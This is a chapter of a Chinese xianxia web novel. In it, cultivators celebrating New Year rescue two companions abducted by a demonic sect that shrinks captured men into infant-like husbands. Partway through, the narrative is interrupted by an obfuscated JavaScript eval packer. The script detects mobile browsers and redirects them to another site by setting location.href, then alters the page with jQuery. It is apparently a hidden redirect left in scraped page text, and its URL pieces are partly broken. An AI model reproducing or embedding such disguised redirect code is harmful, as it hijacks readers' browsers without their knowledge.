司空玉和其他女孩子住在厢房里,段星河等人在主屋里住。打扫完了卫生,天色不觉间已然黑了。赵大海去厨房煮了一大锅胡萝卜炖土豆,道:“凑合着吃吧,明天再做好的。” 结香道:“明天除夕了,我包饺子。” 众人顿时期待起来,伏顺道:“吃什么馅儿的。” 段星河道:“白菜的吧,韭菜也行,明天去买菜。” 赵大海道:“我去买!” 魏小雨还惦记着玩的事,道:“哥,你什么时候给我买炮仗?” 段星河道:“明天吧,我带你在村子里转转。” 魏小雨便高兴起来,众人吃了饭,各自回屋休息去了。大家好久没在软和的床上睡觉了,也不在乎有没有霉味,一躺下很快就睡着了。次日上午,段星河带着魏小雨和赵大海在村子里转了一圈,在村口找到了几个卖菜的。赵大海买了一篮子鸡蛋,又买了一大把韭菜,几颗大白菜和葱姜蒜,去前头的屠户家里买了一大块猪后腿肉、一只烧鸡。他提着两个沉甸甸的篮子,心情好的不得了,有这么多东西大家就能过个好年了。 段星河陪着魏小雨去买了一大把摔炮,还有几个焰火筒,左手搂着一坛子高粱酒。魏小雨按捺不住,道:“我能放一个吗?” 段星河道:“等晚上再放。” 远处有几个小孩儿蹲在河沟旁边扔摔炮,魏小雨从段星河手里抠出一包摔炮来,道:“这个可以现在玩吧?” 她仰着头看着他,眼巴巴的像只小动物似的。段星河拿她没办法,道:“玩吧,别炸着人就行。” 魏小雨便兴奋地扔了一个,摔炮啪地一声响,她跟着乐开了花。赵大海提着篮子在前头等着他们,道:“大师兄,快点,手都酸了。” 段星河过去接过了一个篮子,和他一起往回走。前头围着一群人,一个老妇人坐在屋门口呜呜地哭,道:“我的儿啊,怎么这种事就轮到你头上了呢——” 段星河觉得有些奇怪,大过年的,不知道她这是怎么了。 他们走到跟前,见村长也在。他也一副焦头烂额的模样,正在安慰那老妇人,道:“未必是出事了,你先别着急,我让民兵去找找。” 老妇人还是一个劲儿地哭,道:“我老头儿已经过世了,就这么一个儿子。他要是也没了,我怎么过啊?” 段星河低声问旁边的人,道:“怎么回事?” 一个村民道:“她儿子不见了,十七八的大小伙子,昨天夜里出去了一会儿,到现在一直没回来。” 赵大海觉得有些奇怪,道:“一个大男人,怎么会说不见就不见的?” 那村民一副见怪不怪的模样道:“最近失踪了好几个了,都是年轻小伙子。大家说是被狐狸勾走了,也有说被黄鼠狼拐走的。那些仙家就喜欢找你们这样的后生下手,你们可千万小心啊。” 段星河没想到事情有这么严重,怪不得村长叮嘱他们夜里别出门。他道:“官府不管吗?” 村民道:“这里前不着村后不着店的,哪有什么官府啊,就靠民兵守着了。大家都是地里干活的,没练过把式,也起不了多大的作用。” 那老妇人哭的快昏过去了,她满头白发,脸上满是皱纹。段星河十分同情她,看了看周围,没见有什么端倪。他凝神感受了片刻,也没觉察到有妖怪的气息。赵大海道:“要是找到了有赏钱吗?” 一个民兵道:“这里穷成这样,能给什么钱,顶多给点鸡蛋吧。” 赵大海顿时没了干劲儿。村长觉得他们是修道之人,说不定会有办法。他道:“你们要是能帮忙把人找回来,村子里给你们凑点赏钱,五十两吧。” 段星河没说话,现在一点线索也没有,他也不好贸然把这事揽下来,打算先看看情况再说。村长觉得他们年纪轻轻的,顶多会念念经罢了,也没太指望他们。他又安慰了那老妇人几句,回头吩咐道:“晚上加紧巡逻,有消息立刻来通知我。” 段星河等人回了住处,结香已经和好了面。赵大海道:“菜买回来了,剁馅子吧。” 他扎上围裙进了厨房,跟结香一起干活。司空玉没下过厨,在旁边看了一会儿,见结香两手一捏,一个雪白漂亮的饺子就出现了。她感慨道:“有趣。” 吃饭的人太多,干活的人不够。赵大海扬声道:“兄弟们,还有会包饺子的吗?” 段星河只能帮着摘一摘菜,包饺子这种细致活实在帮不上忙。六幺去洗了手,道:“我来吧。” 段星河有些意外,道:“你会?” 司空玉很是骄傲,道:“六幺补衣服做饭什么都会,上得厅堂下得厨房,之前他还给我包过馄饨呢。” 其他人眼前浮现起了六幺手里拿着衣服缝缝补补的样子,感觉跟他本人的落差有点大。六幺拿起了擀面杖,道:“我擀皮吧。” 他在面板上撒了点面粉,几下就擀出了一个饺子皮,又园又结实。赵大海感觉他像头野豹子似的,跟人打架是把好手,但是跟做饭搭不上边,忍不住道:“你怎么会的?” 六幺擀着皮道:“以前跟着师父生活,他做饭……不太好吃,经常把菜弄糊,我被逼着学会的。” 他虽然面无表情地这么说,但众人已经能想象到有多难吃了,对他佩服之余又生出了一点同情。六幺一会儿功夫就擀出了一大把饺子皮,又帮着包了半个盖子的水饺,排的整整齐齐的。宋胡缨在厨房外看了一眼,佩服道:“了不起,有他在,你什么都不用愁。” 司空玉怀里抱着猫,笑吟吟道:“确实了不起,回去要跟我哥好好夸他。” 六幺听见司空玉这么说,一向冰冷的眼神也变得温柔起来。水沸腾起来了,赵大海把饺子下到了锅里。魏小雨在外面扔了几个摔炮,噼里啪啦直响,兴奋地喊道:“过年啦!” 天色渐渐暗下来了,年夜饭做好了,每个人都分到一大碗水饺,桌上又有炒鸡蛋、烧鸡和高粱酒。众人围在桌边,每个人脸上都带着笑容。在外头又过了一年,他们多了些新的伙伴。段星河从前没想过年的意义有这么大,在这个光怪陆离的世界度过了那么多日夜,他们还好好地在一起,这本身就是一件值得庆祝的事了。 他举杯道:“新的一年,祝大家平安,希望咱们能一直在一起。” 众人纷纷举杯,道:“平安健康,新年快乐!” 能喝的不能喝的,都沾了沾唇,算是讨点好彩头。魏小雨用筷子沾了一点酒舔了一口,咧嘴道:“好辣!” 其他人都笑了,段星河道:“吃饭吧。” 他动了筷子,大家便开吃了。饺子有韭菜猪肉的,有白菜鸡蛋的,还有纯肉大葱的,馅儿都十分饱满,一咬能流出汁来。伏顺在碗里浇上蒜泥和醋,狼吞虎咽的,一会儿功夫就吃了大半碗。李玉真道:“这手艺真不错!” 司空玉称赞道:“六幺包的真好。” 六幺道:“是结香馅子调的好。” 结香不敢居功,道:“大海哥干的活儿最多,我就是打打下手而已。” 小对眼和墨墨也分到了几个饺子,两个崽子并排蹲在食盆跟前,吃的十分满足。吃完了饭,魏小雨迫不及待地拿着焰火筒出去放。村子里有民兵举着火把巡逻,一队人影影幢幢的,渐渐走远了。魏小雨点燃了焰火,金色的火焰咻的一下子窜到了天上,星星点点地落了下来。 魏小雨望着天空,喃喃道:“原来是这样的啊……” 焰火的声音噼里啪啦的,段星河没听清,弯下腰道:“什么?” 魏小雨漆黑的眼里映着焰火,痴痴地道:“真好看啊。” 段星河觉得有些奇怪,以前他们在门派里也放过焰火,她却像头一次见似的。魏小雨放了几支焰火,远处别的人家也在放炮竹,此起彼伏的十分热闹。步云邪站在一旁,神色静静的。段星河道:“想什么呢?” 步云邪有些伤感,轻声道:“没人给咱们发红包了。” 去年这时候,他们还跟师父一起过年,如今却只剩下他们了。段星河想起了师父给他们压岁钱的情形,也难过起来。魏小雨还不知道父亲已经去世了,仰望着夜空,眼里满是无忧无虑的神采。 师父不在了,大梁以后就由他这个大师兄来挑了。段星河擦了一下眼睛,勉强让自己的声音明朗起来,道:“没关系,明天我给你们发红包,少不了你们的压岁钱。” 步云邪嗯了一声,道:“钱够不够,不够我可以借给你点。” 段星河便笑了,道:“借你钱干什么,哥有的是钱。” 放完了焰火,众人回屋磕了一会儿瓜子,热热闹闹地守岁到了半夜。李玉真怀里抱着小对眼,头一点一点的直打瞌睡。段星河道:“去睡觉吧,明天一早给你们发红包。” 魏小雨恨不能天马上就亮起来,道:“我不困。” 司空玉道:“不困也去睡,不睡觉长不高。” 她说着拉起魏小雨的手,带着她去了厢房。众人歇下了,屋里传来低低的鼾声。伏顺翻了个身,感觉茶水喝多了,肚子有点涨。他悄然起身去放水,外头阴沉沉的,白色的夜雾弥漫在村落中。一阵夜风吹过来,伏顺打了个寒战,莫名有些瘆得慌。 他提上裤子,正想赶紧回去,忽然见前头不远处有个幽红的灯笼飘飘悠悠的,渐渐朝这边来了。伏顺定睛一看,却是一个穿粉色衣衫的年轻女子,手里提着个灯笼,缓缓朝这边走过来。 那女子的面容从夜雾中露了出来,不过十八九岁,生的如花朵一般娇艳。她的头发和衣袖在风中微微摆荡,散发出一阵淡淡的幽香。伏顺的目光追随着她,一时间几乎忘却了自己是谁,身在何处,只想多看她几眼。 那女子走近了,对他微微一笑道:“小相公,奴家的父亲生病,我要去请郎中。人家夜里独行害怕,你能保护我一程么?” 伏顺听着她柔柔的声音,整个人的骨头都酥了。美女有要求,他自然是要答应的,立刻道:“好,我陪你去。” 他色迷心窍,也不觉得事情有蹊跷,整个人恍恍惚惚的,就这么跟着人家走了。 夜色里,就见他跟着那女子沿着蜿蜒小路向前走去,渐渐不见了身影。 天刚蒙蒙亮,附近的公鸡一声接着一声打鸣,声音回荡在整个村子上空。赵大海翻了个身,感觉身边空荡荡的。他睁眼一看,发现伏顺不见了。他去院子里转了一圈,茅厕没有,厨房没有,他好像凭空蒸发了。宋胡缨从隔壁厢房出来,道:“怎么了?” 赵大海道:“顺子上哪儿去了?” 宋胡缨也有点奇怪,道:“没见他啊,出去了么?” 大年初一的,他能上哪儿去。赵大海挠了挠头,回屋叠起了被子。李玉真跟他一起睡地铺,旁边是六幺和段星河。步云邪前阵子受了伤,众人把床让给了他。几个人都醒了,六幺窸窸窣窣地穿上了衣裳,道:“我去包饺子。” 赵大海寻思着等会儿吃饭,伏顺兴许就回来了,没再说什么。 一会儿功夫,结香等人把饺子包好了,捞出了锅。众人吃完了饭,伏顺居然还没回来。他一向吃饭最积极,这会儿连饺子都不吃了,实在很不同寻常。 魏小雨趴在桌子上道:“哥,什么时候发红包?” 段星河道:“你先拜年。” 魏小雨便从椅子上跳下来,双手作揖,认真拜了拜道:“哥,祝你身体健康,万事如意,财源广进,修为大进,红包拿来!” 墨墨蹲在旁边,觉得十分有趣,学着她作揖的模样跟着晃了晃鼻子,乖巧的不得了。步云邪笑了,弯下腰摸了摸儿子的脑袋,道:“好得很,灵貘拜年了,诸位一年都不会做噩梦。” 小对眼歪着头看了片刻,十分疑惑。李玉真心里感叹还是别人家的孩子聪明,低声道:“你也跟着拜拜,学个一技之长,以后就有混饭的本事了。” 小对眼拿爪子挠了挠地,李玉真无奈道:“不是埋屎,作揖懂不懂,爪子举起来。” 小对眼根本不听他那一套,拿出了双倍的力气挠地,地上抓出了好几道爪印。司空玉噗嗤一声笑了,道:“也挺好的,这孩子把咱们一年的霉运都埋了,快奖它牛肉干吃。” 那边逗着崽子,段星河从怀里掏出早就准备好的红包递了过去。魏小雨欢天喜地的接过来,打开来看了一眼,见里头装着一两银子。她盘算着有这些钱够自己买好多糖葫芦了,高兴的不得了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050316|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 段星河转头看向步云邪,道:“喏,给你的。” 步云邪感觉自己被他当成了小孩儿,笑道:“不要,拿了你的钱,不是比你小了一辈么?” 段星河没想占他便宜,平和道:“我替师父师娘发的,拿着吧,岁岁平安。” 步云邪本来跟他开玩笑的,见他这么认真,心也变得温柔起来,接过去道:“多谢。” 段星河给每个人都发了个红包,甚至连六幺也有一个,道:“见者有份。” 六幺拿着红包一脸冷淡,想着上一次师父给自己发红包都是好几年前的事了。司空玉对钱一向是多多益善的,已经拆开了红包,开心道:“哎呀,一两银子,够买糖吃的了!” 六幺默默地把钱收到了荷包里,觉得大过年的,收到钱也挺好的。段星河给自己也发了一个,虽然知道里头有多少钱了,打开的一瞬间还是感到了开心。 发完了钱,段星河手边还剩下一个红包,是给伏顺的。外头太阳都老高了,他还没回来。段星河想起了之前村子里就丢了好几个大小伙子,有些担心他,起身往外走去。 赵大海跟了上来,道:“大师兄,你去哪儿?” 外头有点冷,段星河披上了一件黑斗篷,系着带子道:“出去找找伏顺。” 赵大海道:“等等,我也去。” 两人在村子里转了半天,一直没见他人影。几个小孩儿在路边大呼小叫地玩片技,段星河过去道:“小兄弟,你们见着一个这么高,这么瘦的人了没有?” 几个小孩儿都道:“没看见。” 一个大一点小孩儿道:“我哥是打更的,他说昨天晚上看见两个人半夜在村子里乱走,好像是一个男的和一个女的,跟鬼似的。” 段星河的心微微一动,道:“他们去哪儿了?” 小孩儿道:“往南边去了吧,我哥看着害怕,也没敢过去仔细瞧。” 段星河道了一声谢,抬头往南边望去。那边比这里荒凉,房屋也稀疏得多。段星河快步往南边奔去,赵大海连忙跟在他身后。 路边都是落光了叶子的大树,地上满是尘土和枯草。段星河一直向南找去,没发现可疑的地方。他往前走了一阵子,离开村子有一段距离了,路边有一座破庙。地上隐约有些不大的脚印,像是女子的绣花鞋留下的。周围也没有其他去处了,段星河大步上前,一把推开了庙门。 大门吱呀一声开了,天光照了进去,露出了一尊破旧的土地公神像,它身上的彩绘都斑驳了,露出了褐色的泥胎。神像前方悬着个人——伏顺的双手被反剪着捆住了,一根泛着乌光的绳子把他挂在房梁上,像一块腊肉一样悬着。他嘴里塞着一块破布,呜呜直叫,幸亏人还活着。 段星河没想到他真的在这里,道:“你等着,我把你放下来!” 伏顺拼命摇头,神色十分焦急,仿佛想说什么。段星河关心则乱,往前跨了一步,忽然感觉脚下踩中了什么。一根绳子猛然拴住了他的脚腕,嗖地一下子把他倒提了起来! 段星河的视线一阵天旋地转,头发倒垂下来。伏顺一脸倒霉的模样,现在两个人都像腊肉一样挂在房梁上,没得救了。 段星河用力挣扎,脚上的绳子似乎炼化过,坚韧得很。他皱眉道:“怎么回事?” 神像后头传来一阵女子的笑声,几个女人从后面转了出来,身上穿着五颜六色的绫罗绸缎,模样有的妖娆,有的清纯,都是十八九岁的年纪,把他们俩围了起来。 一人道:“我就说留着这小子有大用吧,这么快就又引了一个后生过来。” 一个穿粉色衣裳的女子走过来,正是昨天夜里把伏顺骗过来的那个提灯美人。她伸出手摸了摸段星河的脸,道:“这小子生的还挺俊的,比那贼眉鼠眼的可强多了。” 一人道:“姐姐喜欢,那就收了他嘛,正好你老公不是刚死了么?” 段星河感到一阵寒毛直竖,道:“你们是什么人?” 一众女子笑了起来,道:“小哥哥,你别怕,我们都是拜月教的仙女。只要你乖乖听话,我保证你以后衣来伸手,饭来张口,过着神仙一样的日子。” 段星河眉头皱了起来,依稀记得有人提过这个宗门。他想起来了,薛红玉曾经说过拜月教,说那些人混乱淫靡,不但以玩弄男人为乐,而且敲骨吸髓压榨的渣都不剩,就连万象门的人见了她们都要甘拜下风。 段星河心里咯噔一下子,没想到这么快就碰上了她们。自己好端端的又不好女色,却偏偏着了她们的道,真是跳进黄河也洗不清了。 屋里弥漫着淡淡的香气,他不知为何,使不上力气。这时候赵大海跟了过来,庙门半开着,他刚要踏进来,忽地看见了段星河跟伏顺都被悬在房梁上。赵大海吓了一跳,一时间站着不敢动弹了。 段星河抬起了头,拼命朝他使眼色,示意他快去搬救兵。这些女人身上带着邪气,不好对付,就凭他那两膀子傻力气根本不是她们的对手。 赵大海反应过来,悄悄地往后退了一步,趁着没人注意这边,拔腿就往回跑。伏顺和段星河都松了口气,总算还有个通风报信的。 段星河倒挂在房梁上,血都冲到了脑袋上,呼吸不畅难受的要命。他总算知道刚才伏顺摇头晃脑的是想提醒自己什么了,可惜当时没反应过来,自己也成了任人宰割的鱼肉。 他道:“你们想干什么?” 那几个女子笑得十分开心,他们越慌张,她们便越兴奋。带头的那女子一摆手,那根绳子就轻巧地松开了,化作一根紫色的丝绦,轻巧地坠在她的腰带上。段星河扑通一声落在地上,摔得眼睛直冒金星。伏顺嘴里堵着布,也想让她们把自己放下来,那些女子却嫌他模样生的不好,懒得理他。 几个女子一拥而上,有人拿了一块手绢往段星河脸上一捂,浓烈的香气扑面而来,那股无力感越发强烈了。他用力扭过头,却躲不开,皱眉道:“蒙汗药……你们也太卑鄙了吧!” 带头的那女子像个急色鬼,道:“把衣裳脱了,我看看怎么样。” 段星河急了,道:“喂,别乱来啊!我是出家人,别拉拉扯扯的!” 其他的女子根本不在乎他说什么,几只又白又嫩的手一起伸了过来,把他上半截衣裳扒了个干净,有的摸他胸膛,有的摸他腹肌,还有人捏他胳膊,啧啧赞叹。段星河没有力气抵抗,只能眼看着她们围着自己品头论足,简直要被气死。有人用麻绳绕过他的脖子,把他的手臂从背后捆了起来。他的身体被绳子勒着,身上的肌肉更明显了。 一个女子道:“这真是个绝品,除了教主姐姐,其他人都不配享用!” 其他女子也纷纷道:“就是,这小子不但身材模样好,身上还有些修为,对姐姐修行大有好处,就他了吧。” 那带头的粉衣女子笑吟吟地看着他,也对他很满意,道:“确实身强力壮的,应该能活很久吧。” 段星河一点也不想被她们看上,一心盼着赵大海赶紧搬救兵过来。土地庙离村子有一段距离,他没什么办法,只能尽力拖延时间。 他道:“你们什么意思?” 一名女子笑盈盈道:“不是跟你说了么,我们是拜月教的人。这位是我们的教主,她想找个如意郎君一起修炼,你愿意做我们的姐夫吗?” 那些女人有的身后背着个竹篓子,里头传来咿咿呀呀的声音,好像是婴儿,又像是成年人的痛苦呻吟。一个绿衣女子扭过头去,低声道:“宝贝饿了是不是,别哭。” 她摘下了篓子,坐在旁边给孩子喂奶。阳光穿过破窗户照在她身上,段星河忽然睁大了眼,浑身的汗毛都竖起来了。那女子怀里抱着的并不是个孩子,而是个身体萎缩成一团,三十来岁的大男人! 88.拜月教 三 那人蜷缩在一块花布包袱里,吮吸着绿衣女子的乳/房,手脚细得几乎看不出来了,身体萎缩的像婴儿一样,脸却是个成年人的模样,腮上甚至还长着乱蓬蓬的胡子。 段星河瞬间起了一身鸡皮疙瘩,觉得既恶心又恐怖,也不知道她们用了什么手段把这个男人变成这样。但有一点他可以确定,如果自己落在了她们的手里,以后也会变得像这个男人一样凄惨。 他忽然想起了之前见过的那个女子,荒郊野外的,她非但毫不害怕,反而坦胸露怀地给孩子喂奶,一点也不避讳这些男人。段星河当时觉得有些古怪,如今看来,那个女子应该就是拜月教的人。自己这一行人刚到这地界上,就被人悄悄地盯上了。 带头的那女子伸出纤细的手,摸了摸段星河的脸颊,道:“你多大了,叫什么名字?” 段星河没理会她,粉衣女子轻轻一笑,道:“还挺害羞的,无妨。我是拜月教的教主,叫张夜来。我看你模样生的俊俏,愿不愿意做我的夫君啊?” 段星河冷着脸道:“婚姻大事要由长辈做主,你既然是一教之主,岂能与人私相授受?” 张夜来轻轻打了他个耳刮子,道:“小牛鼻子,年纪不大,脾气倒是古板得很。” 其他女子都笑了,张夜来道:“不过我就喜欢你这种什么都不懂的倔驴,调/教起来格外有意思。来,姐姐先让你尝点甜头——” 她说着,缓缓解开了上衣,把段星河抱到了怀里,就像其他女人抱着竹篓子里的男人一样,把他的头按到了自己雪白的胸膛上。 她的胸膛柔软,又带着馥郁的香气,就像一朵硕大而美丽的花向他张开了一层层花瓣,紧紧地裹住了他。伏顺还被吊在房梁上,顿时睁大了眼,脸红了起来,居然有些羡慕他的艳福。 段星河还没跟女人这么亲昵过,整个人都僵住了。他想要挣扎,身上却一点力气也使不出来。张夜来的乳/沟里忽地张开一道裂缝,从里头伸出了十来条褐色的触手,缠住了段星河的下巴、脖子和耳朵,把他死死地往那道缝隙里拉进去。 伏顺的瞳孔骤然放大,羡慕的眼神变得恐惧起来。他无论如何也想不到,此生还会看到这么恐怖的情形。 “呜——放开……唔!” 段星河被触手捂着鼻子和嘴巴,几乎要窒息了。他眼前浮现起刚才那萎缩的男人的模样,意识到自己很可能也会变成那个样子,整个人都被强烈的恐惧笼罩了。 张夜来缓缓地抚摸着他的后脑勺,七八条触手也跟着拍打他的身体,还有的触手在一旁蜷曲着,有的舞动着,就像一朵硕大的海葵。她悠然道:“以后咱们就融合在一起,不分彼此了。你既是我的老公,又是我的亲亲宝贝,我会好好照顾你的。” 段星河的脸都被憋青了,拼命摇头。张夜来终于松开了触手,段星河倒在她腿上,不住咳嗽。张夜来哈哈直笑,得意道:“小傻瓜,我吓唬你的。你现在的身体太大了,咱们还没办法结合在一起。等过上一两个月,我把你改造好了,咱们就是亲亲热热的一家人,再也不分开了。” 改造……什么改造? 段星河想到了那些身体萎缩的男人,隐隐约约意识到了什么。那些人不是生来就这个样子的,他浑身都是她身上的脂粉香气,被熏的头昏脑涨的。他道:“谁要跟你当一家人……咳,咳咳,村子里那些失踪的人都是被你们抓走的么?” “是又怎么样,”张夜来道,“他们自己色迷心窍,我们姐妹勾一勾手指,他们就跟着来了。我们也没亏待他们,那些男人现在都活得好好的呢。” 这时候就听一个男人道:“那可不,小兄弟,乖乖跟着教主不好吗?被她看上是你的福气,别人想求还求不来呢!” 那人的声音幸灾乐祸的,觉得又多了一个倒霉蛋跟自己作伴,自己也没那么孤独了。段星河注意到旁边一个黄衣女子穿着轻纱上襦,胸脯上有个人脸一样的东西,脸皱巴巴的,刚才就是它在对自己说话。 那女子见段星河看了过来,一点也没有不好意思,把衣衫褪下半边来,露出了肩膀和大半个心口,道:“来,你们好好聊聊。” 那个痈疮露了出来,猛地一看好像只是一块肉,但它有自己的想法,还会张嘴说话,竟是个独立的活物。段星河皱起了眉头,道:“你是什么东西?” 那人露出了嘲讽的表情,仿佛觉得他没见识,道:“我是她的老公啊。你觉得我这样长得怪是不是?没关系,很快你们也要像我一样了——身体变得只有一个巴掌这么大,吃喝不愁,还天天待在老婆的怀里,嘿嘿,要多幸福有多幸福。” 段星河一时间说不出话来,这种情形他就连做梦都想不出来。竹篓子里,又有男人大哭起来。一个红衣女子把篓子里的丈夫抱了出来,发现他的裤子尿湿了。她不耐烦地打了男人一巴掌,随即从包袱里掏出草纸给他擦干了身体,道:“要拉尿提前说,别给老娘添麻烦!” 那男人的容貌仿佛二十来岁,身体却只有两三岁大小,浑身都是尿骚味,害怕得不住发抖。其他男人听见了哭声,也在篓子里挣扎起来。一时间庙里到处都是哭声,好几个女子抱出了她们的男人,轻轻地颠着哄着,有的温柔有的暴躁,就像带亲生的孩子一般。 段星河看着那情形,觉得怪诞而又可怕,浑身都变得冰冷起来。他无论如何也不想变成那个样子,可自己中了迷药,连动一动手指都要费极大的劲儿。 张夜来见他眼中流露出恐惧的神色,笑了起来,道:“别怕,我会对你很温柔的。” 她一摆手,道:“把人带回去吧。” 几个女子把房梁上的绳子收回来,伏顺砰地一下子摔在地上,浑身都是灰尘,也顾不上疼了,呜呜直叫。一个女子把他嘴里的布抽了出来,道:“叫什么,你有话说?” 伏顺虽然一直想当赘婿,但从来没想这么个赘法。他瑟瑟发抖,道:“姐姐们,放过我吧,我长得丑,不爱洗澡,人又穷又笨,不解风情,跟着你们也是添乱,我配不上你们的!” 他这辈子还是头一次这么诚恳地列数自己的缺点,但那些女子好不容易抓到个男人,也不挑剔。一人道:“这你就不用操心了,臭豆腐也有人爱吃。我们姐妹多,兴许有人就好你这一口呢。” 伏顺一时间语塞,女子们已经把他和段星河抬了起来,出了土地庙。庙后面的树丛里停着一辆大车,女子们把两个男人塞到了车上,外面盖上了稻草。段星河气的七窍生烟,奈何嘴又被她们堵起来了,安排的这么周到,看来她们是老惯犯了。 张夜来翻身上了马,招手道:“走吧。” 她们离开没多久,赵大海便带着人赶了过来。他一头冲进土地庙,见里头空空如也,顿时懵了。赵大海急道:“人呢,刚才还在这里的啊!好多女人,穿的五颜六色的跟盘丝洞里的妖精似的,把大师兄和顺子吊起来了!” 空气中弥漫着淡淡的脂粉香气,步云邪意识到那些女人还没走远。他快步往外走去,绕过了土地庙,望见前头不远处,一群女子簇拥着一辆大车向北走去。 步云邪伸手一指,道:“在那边,快追!” 宋胡缨的脾气最暴,一跃而起,凌空虚踏了几步,拦在了大车前。她手中的烈焰斩马/刀画了个弧,火焰熊熊烧过,哐地一声掼在地上,道:“站住!” 那些女子十分诧异,道:“你是干嘛的?” 宋胡缨道:“车上装着什么东西,给我看看。” 张夜来道:“你这小姑娘好不讲道理,一点柴草有什么好看的,你该不会是故意拦路打劫的吧?” 宋胡缨道:“一点柴草需要这么多人护送?撒谎!” 李玉真紧随其后跑了过来,明知道这些女子可疑,还是客客气气地说:“我有两个兄弟不见了,劳烦几位姑娘让我们看一眼。” 张夜来冷冷道:“什么男人,我们没见过,你可别诬赖好人清白。” 其他人也跟了过来,赵大海认出了她们,大声道:“就是这些人,刚才就是她们把大师兄吊在房梁上的!” 段星河跟伏顺听见了声音,在柴草堆里不住挣扎,发出了呜呜的声音。大车上的稻草扭得不住哆嗦,显然有人。步云邪顾不了许多,上前拨开了稻草,见那两个人被绑在车上,登时恼火起来,道:“还说没有!” 张夜来眼看事情败露,冷笑了一声,道:“姑娘们看这两个小子有趣,想带他们去玩玩,你们大呼小叫的干什么?” 步云邪招呼了赵大海一声,要把人扛下来。几个女人却拔出剑来挡在车前,喝道:“退后!” 步云邪沉下了脸,道:“你们什么意思,想动手?” 张夜来微微一笑道:“我看你这小子也挺不错的,要不然跟姐姐一起走吧。” 步云邪皱起了眉头,道:“一群妖女,做什么梦!” 张夜来一摆手,一群女子围了上来,跟他们打在了一起。李玉真不想跟女人动手,连连后退,道:“喂,有话好好说——” 那几个女子根本不理会他,追着他横劈竖砍,下手极其狠辣。步云邪帮他招架了一剑,道:“还不还手?” 李玉真道:“这都是些大姑娘,我怎么好打人家?” 步云邪觉得他有时候实在迂腐,一剑将一个女子的肩膀斩伤了,冷冷道:“你不杀她,她就杀你。这些都是邪教妖人,手段歹毒得很,你跟她们讲什么道理!” 李玉真见段星河和伏顺还被捆着,模样十分狼狈,知道这些女人确实不是什么好人。他道:“那行吧,我只念驱邪咒,她们若是没修邪法,自然不会被我影响。天地玄黄,日出东方。震巽之力,借我一用,急急如律令——” 他周身生出一道浅绿色的灵光,一道大风朝着那些女子席卷而去。那些女子被狂风吹得东倒西歪,站也站不住。有人被那股灵气沾到便浑身发抖,蜷缩起了身体,就好像碰到了雄黄的虫蛇一样。 李玉真的衣袍和头发在风中猎猎舞动,神色平静祥和,下手却一点也没留情面。众人都看出来了,那些女子虽然都年轻貌美,身上却带着浓浓的邪气,恐怕都是异类。 一个黄衣女子伸出长长的指甲,从后面向步云邪抓过去。宋胡缨喝了一声危险,提着烈焰斩马/刀挥过来,哧地一声将那女子的脊骨斩断,喷溅出来的血都是黑色的。 那妖女倒在地上,身体不住抽搐。她的脸上渐渐浮现起一枚枚鳞片,薄薄的衣裳被尖锐的鳍刺破,苗条的身体也变得臃肿起来,像一堆紫色的肥肉,鼓鼓囊囊地瘫在地上。 众人都十分吃惊,赵大海道:“这是什么……鱼精?什么鱼这么丑?” 其他女子没想到这小姑娘长得这么漂亮,下手却这么狠,一刀就把自己的姐妹斩回了原形。众人纷纷向后退去,怕的不得了。 张夜来也皱起了眉头,意识到惹上的不是善茬。今天她带来的人不多,不便跟他们久战。她冷冷道:“你们是什么人,报上腕来!” 步云邪秉承着他们一贯的传统,遇上结梁子的事就报李司正那一队人的大名。他手里提着滴血的长剑,一字一句道:“大幽钦天监,李如芝手下。我有个好兄弟叫刘正阳,修为强的很,你可千万记清楚了。” 张夜来恨声道:“好,我记着了。我拜月教不是好欺负的,咱们还会再见的!” 她说着一摆手,翻身上马道:“走!” 其他女子便扔下了大车,跟着她一起逃走了。 赵大海把两人从大车上扛了下来,段星河的嘴里塞着一大团红色的绸布,半截耷拉在外面,呜呜地说不出话来。李玉真帮他抽了出来,定睛一看,却是一个女子的肚兜,上面还绣着几朵粉色的桃花。浓郁的香气扑面而来,他的脸顿时红了起来,烫手似的把肚兜甩在了地上。 段星河裸着上半截身体,脖子上绕着一根麻绳,从上到下打了几个结,把肌肉一块块勒的相当分明,胸肌尤为明显。步云邪这会儿不着急了,从上到下打量了一遍,道:“绑就绑,还捆成这样……这是正经绑法么?” 正不正经不知道,但确实挺养眼的。段星河活这么大还没这么羞耻过,怒道:“赶紧给我解开!” 步云邪割断了绳子,给他松了绑。宋胡缨关心道:“没事吧?” 李玉真揣着手道:“是没来的太早吧?” 四五个脑袋聚在他上方,大家同情地看着他,还有心情开玩笑。段星河平白遇上这一场无妄之灾,心里很不痛快,道:“她们没把我怎么样。” 步云邪忍不住笑了,道:“好的好的,贞洁烈男。” 赵大海解开了伏顺身上的绳子,帮他拍去了身上的稻草屑,道:“没事吧,没事起来走两步。” 段星河还站不起来,道:“她们给我用了迷药,使不上劲儿。” 步云邪手中一道幽蓝的灵光闪烁,一道水流生了出来。步云邪道:“有点冷,忍着点。” 他话音刚落,那股水流就哗地一声泼到了那两人身上,把他们浇了个透心凉。段星河的头发和裤子都被打湿了,冰冷的感觉让他顿时清醒过来。水珠滴滴答答地顺着他下巴直往下淌,段星河抹了把水,感觉身上的力气渐渐回来了,勉强站了起来。 一阵寒风吹来,段星河打了个寒战,觉得今天真是倒霉透了。伏顺仿佛已经忘了谁才是始作俑者,还劝他道:“想开点吧哥,常在河边走哪能不湿身。” 赵大海道:“湿鞋。” 段星河差点被绑去当了人家的便宜老公,现在最听不得失身两个字,道:“没有的事,别乱说啊!” 李玉真噗嗤一声笑了,道:“好好好,没有没有。” 步云邪从大车上找到了他的衣裳,盖在了他身上。段星河披着斗篷,感觉好了一些,道:“先回去吧。” 步云邪等人去牵了马,正准备离开。忽然听见身后有人喊道:“别走,救救我,我不想死!” 众人回过头去,地上趴着一具妖女的尸体,却没有活人。她的身体大部分都变成了鱼的样子,身上赘肉横生,上半截还依稀还有几分人的模样。她的肩膀微微抽动,似乎想要站起来,身体却软软地瘫在地上。那情形十分诡异,仿佛要尸变。 